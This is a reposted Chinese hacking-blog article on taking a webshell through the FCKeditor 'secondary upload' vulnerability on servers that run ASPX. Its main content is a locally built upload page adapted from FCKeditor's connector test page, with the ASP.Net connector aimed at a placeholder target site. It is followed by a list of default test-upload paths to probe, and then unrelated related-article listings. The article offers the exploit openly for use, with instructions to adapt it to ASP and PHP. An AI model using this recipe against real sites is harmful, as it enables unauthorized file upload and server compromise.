FCKeditor无test上传页面二次上传

简介:

本文由EnjoyHack原创或转载,转载时请注明出处,详细出处请参考: http://www.enjoyhack.com/article/Unicode/FCKeditor.htm
FCKeditor二次上传拿shell算是FCKeditor漏洞集中比较经典的了,这个二次上传前提条件是要支持aspx而且要求FckEditor/editor/filemanager/connectors/aspx/connector.aspx文件为删除。二次上传漏洞对ASPX站点来说利用比较方便,成功率也比较高,当然若是ASP的站点,支持ASPX和文件为删的情况下也是没问题的。
在利用二次上传过程中我们往往都是找到FckEditor中的一些test上传页面来进行上传,不过也有遇到test上传页面全部被删除的情况,之前我便遇见过许多,不过在遇到test上传页面被删除的情况下我们可以本地构造上传页谈后提交,前提要确认FckEditor/editor/filemanager/connectors/aspx/connector.aspx文件存在,并且服务器支持ASPX的解析。
利用代码:
<!--
* FCKeditor - The text editor for Internet -  http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Test page for the File Browser connectors.
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns=" http://www.w3.org/1999/xhtml ">
<head>
<title>FCKeditor - Connectors Tests</title>
<script type="text/javascript">
function BuildBaseUrl( command )
{
var sUrl =
document.getElementById('cmbConnector').value +
'?Command=' + command +
'&Type=' + document.getElementById('cmbType').value +
'&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;
return sUrl ;
}
function SetFrameUrl( url )
{
document.getElementById('eRunningFrame').src = url ;
document.getElementById('eUrl').innerHTML = url ;
}
function GetFolders()
{
SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
return false ;
}
function GetFoldersAndFiles()
{
SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
return false ;
}
function CreateFolder()
{
var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;
if ( ! sFolder )
return false ;
var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;
SetFrameUrl( sUrl ) ;
return false ;
}
function OnUploadCompleted( errorNumber, fileName )
{
switch ( errorNumber )
{
case 0 :
alert( 'File uploaded with no errors' ) ;
break ;
case 201 :
GetFoldersAndFiles() ;
alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}
this.frames.frmUpload = this ;
function SetAction()
{
var sUrl = BuildBaseUrl( 'FileUpload' ) ;
document.getElementById('eUrl').innerHTML = sUrl ;
document.getElementById('frmUpload').action = sUrl ;
}
</script>
</head>
<body>
<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td>
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td>
Connector:<br />
<select id="cmbConnector" name="cmbConnector">
<option value="asp/connector.asp" selected="selected">ASP</option>
<option value=" http://www.xxx.com/FckEditor/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option >
<option value="cfm/connector.cfm">ColdFusion</option>
<option value="lasso/connector.lasso">Lasso</option>
<option value="perl/connector.cgi">Perl</option>
<option value="php/connector.php">PHP</option>
<option value="py/connector.py">Python</option>
</select>
</td>
<td>
</td>
<td>
Current Folder<br />
<input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
<td>
</td>
<td>
Resource Type<br />
<select id="cmbType" name="cmbType">
<option value="File" selected="selected">File</option>
<option value="Image">Image</option>
<option value="Flash">Flash</option>
<option value="Media">Media</option>
<option value="Invalid">Invalid Type (for testing)</option>
</select>
</td>
</tr>
</table>
<br />
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td valign="top">
<a href="#" Folders</a></td>
<td>
</td>
<td valign="top">
<a href="#" Folders and Files</a></td>
<td>
</td>
<td valign="top">
<a href="#" Folder</a></td>
<td>
</td>
<td valign="top">
<form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
File Upload<br />
<input id="txtFileUpload" type="file" name="NewFile" />
<input type="submit" value="Upload" />
</form>
</td>
</tr>
</table>
<br />
URL: <span id="eUrl"></span>
</td>
</tr>
<tr>
<td height="100%" valign="top">
<iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
height="100%"></iframe>
</td>
</tr>
</table>
</body>
</html>
<option value=" http://www.xxx.com/FckEditor/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option >既是ASXP的上传执行路径,asp和php的也同理,需要时请自行补充!!
FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html 

 














本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/458345,如需转载请自行联系原作者

相关文章
|
10月前
|
前端开发 Java 测试技术
语音app系统软件源码开发搭建新手启蒙篇
在移动互联网时代,语音App已成为生活和工作的重要工具。本文为新手开发者提供语音App系统软件源码开发的启蒙指南,涵盖需求分析、技术选型、界面设计、编码实现、测试部署等关键环节。通过明确需求、选择合适的技术框架、优化用户体验、严格测试及持续维护更新,帮助开发者掌握开发流程,快速搭建功能完善的语音App。
|
机器学习/深度学习 人工智能 搜索推荐
学科融合是现代科学技术和教育发展的重要趋势
学科融合是现代科学技术和教育发展的重要趋势
250 4
|
传感器 人工智能 算法
逐渐走向实用,揭秘世界顶尖人形机器人ASIMO
从《列子·汤问》传说中以假乱真的舞者到现在科幻作品中的各种类人机器人,人类从没停止过对创造类人机器的幻想。而随着机器人学、人工智能和计算科学等科学技术的发展,人类长久以来的梦想正在逐渐成为现实,我们的生活中也渐渐开始有了它们的身影。
1619 0
逐渐走向实用,揭秘世界顶尖人形机器人ASIMO
|
JSON C# 数据格式
【氚云】基于Python的WebService与氚云系统集成
基于Python的WebService与氚云系统集成
730 0
|
弹性计算 安全 数据安全/隐私保护
阿里云ECS服务器被植入挖矿木马解决过程分享
阿里云ECS服务器是目前很多网站我们在使用的,但是如果安全做的不够好,有时候就会被植入木马,例如我们有时候会收到阿里云的短信提醒,提醒服务器存在挖矿进程,请立即处理的安全告警。 出现这种情况往往网站都无法正常的打开,卡的连服务器SSH远程连接都进不去,给我们造成了很大的影响。
11613 0
|
编解码 Java API
CSDN直播BlOB视频流下载,JAVA实现下载直播视频
CSDN直播BlOB视频流下载,JAVA实现下载直播视频
884 0
CSDN直播BlOB视频流下载,JAVA实现下载直播视频
|
达摩院 Linux 测试技术
如何使用ModelScope魔搭开源代码训练一款语音合成模型
如何使用ModelScope魔搭开源代码训练一款语音合成模型
2492 0
如何使用ModelScope魔搭开源代码训练一款语音合成模型
|
机器学习/深度学习 人工智能 达摩院
如何打造真人化高表现力的语音合成系统
语音合成技术作为人机交互的重要环节,终极目标即达到媲美真人的合成效果。高表现力语音合成逐渐成为未来的趋势。高表现力语音有三个显著的特点:韵律自然、情感风格丰富和音质清澈。 需要认识到的是当下的技术水平在韵律自然表示、情感风格丰富度上和真人之间还存在着较大的、人耳容易分辨的差距。 因此,我们针对这三个特点,进行算法上的探索,形成达摩院第五代语音合成技术——基于韵律建模的 SAM-BERT、情感语音合成 Emotion TTS 和高清语音合成 HiFi-TTS 的 Expressive-TTS。
671 0
|
存储 缓存 芯片
FPGA固件如何进行在线升级?
FPGA固件如何进行在线升级?
1196 0
FPGA固件如何进行在线升级?

热门文章

最新文章